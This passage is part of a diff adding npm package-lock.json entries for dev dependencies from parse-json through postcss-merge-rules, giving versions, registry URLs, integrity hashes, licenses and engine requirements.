"sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==", + "dev": true, + "license": "MIT" + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dev": true, + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true, + "license": "MIT" + }, + "node_modules/path-to-regexp": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.13.tgz", + "integrity": "sha512-A/AGNMFN3c8bOlvV9RreMdrv7jsmF9XIfDeCd87+I8RNg6s78BhJxMu69NEMHBSJFxKidViTEdruRwEk/WIKqA==", + "dev": true, + "license": "MIT" + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", + "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pirates": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", + "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-up": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-3.1.0.tgz", + "integrity": "sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==", + "dev": true, + "license": "MIT", + "dependencies": { + "find-up": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-up/node_modules/find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/possible-typed-array-names": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz", + "integrity": "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/postcss": { + "version": "8.5.8", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.8.tgz", + "integrity": "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-attribute-case-insensitive": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-5.0.2.tgz", + "integrity": "sha512-XIidXV8fDr0kKt28vqki84fRK8VW8eTuIa4PChv2MqKuT6C9UjmSKzen6KaWhWEoYvwxFCa7n/tC1SZ3tyq4SQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-browser-comments": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-browser-comments/-/postcss-browser-comments-4.0.0.tgz", + "integrity": "sha512-X9X9/WN3KIvY9+hNERUqX9gncsgBA25XaeR+jshHz2j8+sYyHktHw1JdKuMjeLpGktXidqDhA7b/qm1mrBDmgg==", + "dev": true, + "license": "CC0-1.0", + "engines": { + "node": ">=8" + }, + "peerDependencies": { + "browserslist": ">=4", + "postcss": ">=8" + } + }, + "node_modules/postcss-calc": { + "version": "8.2.4", + "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz", + "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.9", + "postcss-value-parser": "^4.2.0" + }, + "peerDependencies": { + "postcss": "^8.2.2" + } + }, + "node_modules/postcss-clamp": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/postcss-clamp/-/postcss-clamp-4.1.0.tgz", + "integrity": "sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=7.6.0" + }, + "peerDependencies": { + "postcss": "^8.4.6" + } + }, + "node_modules/postcss-color-functional-notation": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/postcss-color-functional-notation/-/postcss-color-functional-notation-4.2.4.tgz", + "integrity": "sha512-2yrTAUZUab9s6CpxkxC4rVgFEVaR6/2Pipvi6qcgvnYiVqZcbDHEoBDhrXzyb7Efh2CCfHQNtcqWcIruDTIUeg==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-color-hex-alpha": { + "version": "8.0.4", + "resolved": "https://registry.npmjs.org/postcss-color-hex-alpha/-/postcss-color-hex-alpha-8.0.4.tgz", + "integrity": "sha512-nLo2DCRC9eE4w2JmuKgVA3fGL3d01kGq752pVALF68qpGLmx2Qrk91QTKkdUqqp45T1K1XV8IhQpcu1hoAQflQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-color-rebeccapurple": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-7.1.1.tgz", + "integrity": "sha512-pGxkuVEInwLHgkNxUc4sdg4g3py7zUeCQ9sMfwyHAT+Ezk8a4OaaVZ8lIY5+oNqA/BXXgLyXv0+5wHP68R79hg==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-colormin": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.1.tgz", + "integrity": "sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "colord": "^2.9.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-convert-values": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.3.tgz", + "integrity": "sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-custom-media": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/postcss-custom-media/-/postcss-custom-media-8.0.2.tgz", + "integrity": "sha512-7yi25vDAoHAkbhAzX9dHx2yc6ntS4jQvejrNcC+csQJAXjj15e7VcWfMgLqBNAbOvqi5uIa9huOVwdHbf+sKqg==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.3" + } + }, + "node_modules/postcss-custom-properties": { + "version": "12.1.11", + "resolved": "https://registry.npmjs.org/postcss-custom-properties/-/postcss-custom-properties-12.1.11.tgz", + "integrity": "sha512-0IDJYhgU8xDv1KY6+VgUwuQkVtmYzRwu+dMjnmdMafXYv86SWqfxkc7qdDvWS38vsjaEtv8e0vGOUQrAiMBLpQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-custom-selectors": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/postcss-custom-selectors/-/postcss-custom-selectors-6.0.3.tgz", + "integrity": "sha512-fgVkmyiWDwmD3JbpCmB45SvvlCD6z9CG6Ie6Iere22W5aHea6oWa7EM2bpnv2Fj3I94L3VbtvX9KqwSi5aFzSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.3" + } + }, + "node_modules/postcss-dir-pseudo-class": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-6.0.5.tgz", + "integrity": "sha512-eqn4m70P031PF7ZQIvSgy9RSJ5uI2171O/OO/zcRNYpJbvaeKFUlar1aJ7rmgiQtbm0FSPsRewjpdS0Oew7MPA==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-discard-comments": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", + "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-duplicates": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", + "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-empty": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", + "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-overridden": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", + "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-double-position-gradients": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/postcss-double-position-gradients/-/postcss-double-position-gradients-3.1.2.tgz", + "integrity": "sha512-GX+FuE/uBR6eskOK+4vkXgT6pDkexLokPaz/AbJna9s5Kzp/yl488pKPjhy0obB475ovfT1Wv8ho7U/cHNaRgQ==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-env-function": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/postcss-env-function/-/postcss-env-function-4.0.6.tgz", + "integrity": "sha512-kpA6FsLra+NqcFnL81TnsU+Z7orGtDTxcOhl6pwXeEq1yFPpRMkCDpHhrz8CFQDr/Wfm0jLiNQ1OsGGPjlqPwA==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-flexbugs-fixes": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-5.0.2.tgz", + "integrity": "sha512-18f9voByak7bTktR2QgDveglpn9DTbBWPUzSOe9g0N4WR/2eSt6Vrcbf0hmspvMI6YWGywz6B9f7jzpFNJJgnQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "postcss": "^8.1.4" + } + }, + "node_modules/postcss-focus-visible": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/postcss-focus-visible/-/postcss-focus-visible-6.0.4.tgz", + "integrity": "sha512-QcKuUU/dgNsstIK6HELFRT5Y3lbrMLEOwG+A4s5cA+fx3A3y/JTq3X9LaOj3OC3ALH0XqyrgQIgey/MIZ8Wczw==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-focus-within": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/postcss-focus-within/-/postcss-focus-within-5.0.4.tgz", + "integrity": "sha512-vvjDN++C0mu8jz4af5d52CB184ogg/sSxAFS+oUJQq2SuCe7T5U2iIsVJtsCp2d6R4j0jr5+q3rPkBVZkXD9fQ==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-font-variant": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/postcss-font-variant/-/postcss-font-variant-5.0.0.tgz", + "integrity": "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-gap-properties": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/postcss-gap-properties/-/postcss-gap-properties-3.0.5.tgz", + "integrity": "sha512-IuE6gKSdoUNcvkGIqdtjtcMtZIFyXZhmFd5RUlg97iVEvp1BZKV5ngsAjCjrVy+14uhGBQl9tzmi1Qwq4kqVOg==", + "dev": true, + "license": "CC0-1.0", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-image-set-function": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/postcss-image-set-function/-/postcss-image-set-function-4.0.7.tgz", + "integrity": "sha512-9T2r9rsvYzm5ndsBE8WgtrMlIT7VbtTfE7b3BQnudUqnBcBo7L758oc+o+pdj/dUV0l5wjwSdjeOH2DZtfv8qw==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-import": { + "version": "15.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", + "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-initial": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-initial/-/postcss-initial-4.0.1.tgz", + "integrity": "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-js": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz", + "integrity": "sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "camelcase-css": "^2.0.1" + }, + "engines": { + "node": "^12 || ^14 || >= 16" + }, + "peerDependencies": { + "postcss": "^8.4.21" + } + }, + "node_modules/postcss-lab-function": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/postcss-lab-function/-/postcss-lab-function-4.2.1.tgz", + "integrity": "sha512-xuXll4isR03CrQsmxyz92LJB2xX9n+pZJ5jE9JgcnmsCammLyKdlzrBin+25dy6wIjfhJpKBAN80gsTlCgRk2w==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-loader": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-6.2.1.tgz", + "integrity": "sha512-WbbYpmAaKcux/P66bZ40bpWsBucjx/TTgVVzRZ9yUO8yQfVBlameJ0ZGVaPfH64hNSBh63a+ICP5nqOpBA0w+Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "cosmiconfig": "^7.0.0", + "klona": "^2.0.5", + "semver": "^7.3.5" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "postcss": "^7.0.0 || ^8.0.1", + "webpack": "^5.0.0" + } + }, + "node_modules/postcss-loader/node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/postcss-logical": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/postcss-logical/-/postcss-logical-5.0.4.tgz", + "integrity": "sha512-RHXxplCeLh9VjinvMrZONq7im4wjWGlRJAqmAVLXyZaXwfDWP73/oq4NdIp+OZwhQUMj0zjqDfM5Fj7qby+B4g==", + "dev": true, + "license": "CC0-1.0", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-media-minmax": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/postcss-media-minmax/-/postcss-media-minmax-5.0.0.tgz", + "integrity": "sha512-yDUvFf9QdFZTuCUg0g0uNSHVlJ5X1lSzDZjPSFaiCWvjgsvu8vEVxtahPrLMinIDEEGnx6cBe6iqdx5YWz08wQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-merge-longhand": { + "version": "5.1.7", + "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.7.tgz", + "integrity": "sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0", + "stylehacks": "^5.1.1" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-merge-rules": { + "version": "5.1.4", + "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.4.tgz", + "integrity": 